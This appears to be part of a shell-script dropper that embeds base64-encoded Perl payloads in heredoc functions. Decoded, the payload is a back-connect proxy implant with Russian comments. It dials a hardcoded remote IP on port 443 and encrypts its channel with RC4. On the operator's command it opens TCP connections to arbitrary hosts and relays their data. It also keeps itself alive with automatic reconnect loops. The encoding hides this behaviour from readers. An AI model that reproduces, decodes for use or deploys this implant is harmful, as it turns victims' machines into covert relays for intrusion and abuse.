ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_32() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTInOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
